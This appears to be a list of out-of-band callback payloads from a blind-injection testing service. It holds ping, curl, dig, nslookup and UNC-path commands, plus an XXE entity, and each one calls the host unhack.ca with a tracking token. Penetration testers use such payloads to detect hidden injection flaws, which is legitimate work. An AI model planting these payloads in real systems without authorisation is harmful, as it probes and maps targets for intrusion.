$ ping -c1 -p 00e0f4d45441f189b010c5844650aa00 unhack.ca
 

$ curl http://unhack.ca/p/e0f4d45441f189b010c5844650aa
 

$ dig e0f4d45441f189b010c5844650aa @unhack.ca
 

$ dig e0f4d45441f189b010c5844650aa.ns.unhack.ca
 

C:\> nslookup e0f4d45441f189b010c5844650aa unhack.ca
 

C:\> type \\unhack.ca\e0f4d45441f189b010c5844650aa\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e0f4d45441f189b010c5844650aa">]>
    <foo>&xxe;</foo>